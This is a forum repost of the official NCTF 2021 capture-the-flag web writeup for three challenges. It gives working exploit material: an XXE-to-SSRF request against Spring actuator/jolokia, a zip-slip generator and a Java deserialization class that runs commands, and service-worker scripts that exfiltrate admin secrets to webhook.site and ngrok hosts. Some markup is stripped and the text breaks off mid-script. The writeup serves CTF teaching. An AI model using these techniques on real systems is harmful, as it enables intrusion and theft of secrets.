Jump to content

Title: The 10th Nanjing University of Posts and Telecommunications Network Offensive and Defense Competition (NCTF 2021) writeup

Featured Replies

Posted

Web

X1cT34m_API_System

Author: wh1sper

Title description:

In the new era of API security, the security circle is ushering in changes.

You are making huge waves? You have your hands covering the sky? Choose to protect or give up your former partner?

target:http://129.211.173.64:58082/

Attachment link:

https://wwn.lanzoui.com/iUoDwwyfdxc

hint1:

the hidden API to bypass 403

hint2:

jolokia readfile

Test point: API security issues caused by improper configuration of Springboot actuator

By accessing /actuator/mappings, you can see that there is /actuator/jolokia (restricted local IP, direct access returns 403) and a hidden API interface /user/list.

Or you can directly use APIKit to scan to /user/list:

NCTF2021 Official Writeup-小绿草信息安全实验室POST access /user/list, return XML format data

NCTF2021 Official Writeup-小绿草信息安全实验室 So naturally I thought of XXE; added waf and did not allow the file to be read directly;

(There are two masters here who did unexpected things. XXE's waf was not written well, so you can just blindly call the take-out flag. I restricted the target machine from going out of the network and couldn't take-out.)

But as we all know, XXE can be SSRF;

Then SSRF can be used together with /actuator/jolokia. Because it is the port of the docker proxy, we need to access /actuator/env first to obtain the local service port:

NCTF2021 Official Writeup-小绿草信息安全实验室 Then construct SSRF:

NCTF2021 Official Writeup-小绿草信息安全实验室 Because the data returned by /jolokia/list is too long, and some special symbols inside will report XML document structures must start and end within the same entity.

So I gave the attachment pom.xml later, so I can start up locally to see what Mbeans are there.

NCTF2021 Official Writeup-小绿草信息安全实验室 has an Mbean that can read and write files:

com.sun.management:type=DiagnosticCommand

Determine whether this Mbean exists in the remote environment:

NCTF2021 Official Writeup-小绿草信息安全实验室 If there is no, the returned image is the above picture. If there is no, the returned image is the following two situations

NCTF2021 Official Writeup-小绿草信息安全实验室exp:

POST /user/list HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Connection: close

Cookie: JSESSIONID=4E8E18623EC2DEB1675E56DF8955D33B

Content-Type: application/xml

Content-Length: 194

?xml version='1.0'?

!DOCTYPE dy [

!ENTITY dy SYSTEM 'http://127.0.0.1:8080/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/flag'

]

iddy;/idCOPYflag:

NCTF{Spring_actuator_And_Jolokia_1S_So_fun_by_the_way_we1com3_to_join_API_Security_Community_yulige_yyds_wysb}

ezjava

Questioner ID: Pupi1

Title description:

Professor Dai has only opened the file management system for 2 days. Before it was completed, he was taken down by a hacker and hid something in it.

http://129.211.173.64:8080/html/index.html

http://129.211.173.64:8081/html/index.html

Attachment link:

Link: https://pan.baidu.com/s/1jB6Kcy478ashRtxEFJP1bQ

Extraction code: nctf

https://wwn.lanzoui.com/iamSDwyi0pe

https://attachment.h4ck.fun:9000/web/ezjava/nctf.war

flag:

nctf{J3va_SecUrlt9_ls_T0o_DlfficuLT} This question is actually a rce utilization that does not support jsp to write arbitrary files

The previous part first audits the code. We can upload the zip and then find it in the decompression.

NCTF2021 Official Writeup-小绿草信息安全实验室 It does not check the files in the compressed package file, which can lead to the decompressed directory crossing. Here you can generate such a zip through a script:

import zipfile

import os

if __name__=='__main__':

try:

zipFile=zipfile.ZipFile('poc.zip', 'a', zipfile.ZIP_DEFLATED)

info=zipfile.ZipInfo('poc.zip')

zipFile.write('poc.class','././usr/local/tomcat/webapps/html/WEB-INF/classes/com/x1c/nctf/Poc.class',zipfile.ZIP_DEFLATED)

zipFile.close()

except IOError as e:

raise eCOPY, then we are now quite as good as writing to any file. So it is the question of how to get rid of RCE when spring boot is running and does not support jsp without hot deployment (it seems that the jsp support is opened during the restart process, X__X)

In fact, a backdoor is given here for deserialization. The prompt here is actually very obvious. We can write malicious class files to classpath. How to load the re-readObject method in our malicious class through deserialization, and then achieve rce.

The attachment given by the question is war, and there is also a path to tomcat to easily get the classpath, then unzip the malicious class into the classpath, and then trigger it through the deserialization of the backdoor. (The tomcat path was not given here at the beginning because the tomcat path is the default and the path can be confirmed through the zip route. However, if there is no solution, just use the hint to prompt the masters:)

exp:

package com.x1c.nctf;

import java.io.*;

import java.io.Serializable;

import com.x1c.nctf.Tool.*;

public class Poc implements Serializable {

public Poc() {

}

private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {

out.defaultReadObject();

}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {

in.defaultReadObject();

Runtime.getRuntime().exec('touch /tmp/1.txt');

}

public static void main(String[] args) throws Exception {

Poc o=new Poc();

System.out.println(Tool.base64Encode(Tool.serialize(o)));

}

}

backdoor?cmd=rO0ABXNyABBjb20ueDFjLm5jdGYuUG9jLTxEyChKw8gCAAB4cA==COPY Just rebound the shell!

prettyjs

Questioner ID: byc_404

Title description:

A useless website that gives you express template…

link:https://prettyjs.bycsec404.top

Attachment link:

Link: https://pan.baidu.com/s/174wSQKQH08l-UtniPR0UVA

Extraction code: 1txc

https://attachment.h4ck.fun:9000/web/prettyjs/prettyjs.zip

https://nctf.slight-wind.com/web/prettyjs/prettyjs.zip

flag:

nctf{anyone_get_me_a_job_to_study_on_javascript:)}prettyjs The main purpose of this question is to examine how players do not use xs to get sensitive information under /api/template without xss. However, due to my negligence when deploying the problem, the default Content-Type of /api/template is text/html. You can directly do csrf=xss orz. It is expected that the Content-Type here should be text/plain.

Here is the expected idea process:

After auditing the code, we know that we need to construct cookies, and the ADMIN_USERNAME and COOKIE_SECRET required for cookies come from the template content of admin bot under /api/template route.

However, in theory, there is no XS in the site, so the starting point can only be: let the bot access our own server and make cross-domain requests to the topic website.

Cross-domain requires the limitations of SOP (Same Origin Policy). Although the cookie samesite attribute of the title is set to none, making the cookie still valid in the domain of our server, it will be restricted by SOP through fetch, XMLHttpRequest and other means. The request is sent out, but the response will not be retrieved by JavaScript after it returns.

NCTF2021 Official Writeup-小绿草信息安全实验室 At the same time, there is also a referer check on the server.NCTF2021 Official Writeup-小绿草信息安全实验室

The referer check here is actually a means for many mainstream web services/middleware to check referer on jsonp, video address and other interfaces: if there is a referer header, determine whether it is from us. But it is very simple to bypass such inspection methods, just don’t bring a referer.

So the key now is to load across domains and get the return value. We know that script will not be restricted by SOP when loading js across domains, and its return content is also within the control scope. But there are two problems that need to be solved in script here

/api/template content is not just js/api/template. It is a post route. We solve these two problems in turn.

The first question is, first of all, the content of /api/template is composed of controllable userame+'s Awesome expert page! Check below ? and a simple code of expressjs. The following part of the code is naturally legal js code. What about the first part? Is it true that as long as the first line is commented out, the content of the entire page is legal js?

The answer is yes. But here username is restricted and cannot be used /. That //or /* cannot be used. However, we can use another comment method of js in the front-end:-- to comment out the first line. This will make the entire /api/template content legal js.

NCTF2021 Official Writeup-小绿草信息安全实验室 The second question is, how to make script load content in post? My approach here is to use the service worker to change its request to /api/template. We know that service worker is equivalent to a browser-side agent, so we can naturally change get to post. Then the final solution will be revealed.

Because I want to register a service worker, I locally set up a node server to provide http service, and then use ngrok to get a temporary https domain name for us. Among them, sw.js will change the request method sent to /api/template from get to post.

server.js

const express=require('express');

const app=express();

const logger=require('morgan');

app.use(logger('dev'));

app.get('/', (_, res)={

return res.sendFile(__dirname + '/solve.html');

})

app.get('/exp', (_, res)={

return res.sendFile(__dirname + '/exp.html');

})

app.get('/sw.js', (_, res)={

res.type('application/javascript');

return res.send(`self.addEventListener('fetch', (event)={

event.respondWith((async())={

let resp;

if (event.request.url.includes('template')) {

resp=await fetch(event.request, {

method: 'POST',

headers: {

'Content-Type': 'application/x-www-form-urlencoded'

},

body: 'username=!--',

referrerPolicy: 'no-referrer'

});

return resp;

} else {

return await fetch(event.request);

}

})());

});`)

})

app.listen(9000)COPYsolve.html. Used to register service worker

!DOCTYPE html

html

head

titleSolve/title

script

if ('serviceWorker' in navigator) {

window.addEventListener('load', ()={

const sw='https://6ad8-47-94-110-102.ngrok.io/sw.js';

navigator.serviceWorker.register(sw, { scope: '/' })

.then((register)={

navigator.sendBeacon('https://webhook.site/e708eb94-ea07-490a-969a-742d40033925', 'Successfully register');

setTimeout(()={

window.open('/exp')

}, 100);

}, (err)={

navigator.sendBeacon('https://webhook.site/e708eb94-ea07-490a-969a-742d40033925', 'Failed to register');

console.log('Service worker error:', err);

});

});

}

/script

/head

Body

byc_404 got this

/body

/htmlCOPYexp.html. Load /api/template and get ADMIN_USERNAME and COOKIE_SECRET through hook. Here we mainly rewrite and add some functions to make the code under nodejs still legal to put it in front-end js. At the same time, the content statement we want to obtain is: global.process.env.ADMIN_USERNAME.setFlag(COOKIE_SECRET). We can use Proxy to hookglobal to access properties or call methods every time we do it.

Body

script

const target='https://prettyjs.bycsec404.top';

const script=document.createElement('script');

script.referrerpolicy='no-referrer';

script.src=target + '/api/template'

document.body.appendChild(script);

const require=(module)={

if (module=='express') {

return ()={

return {

use: ()={ },

all: ()={ },

listen: ()={ },

get: (data, func)={

Object.prototype.global=new Proxy({}, handler);

func('byc_404', { send: ()={ } });

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.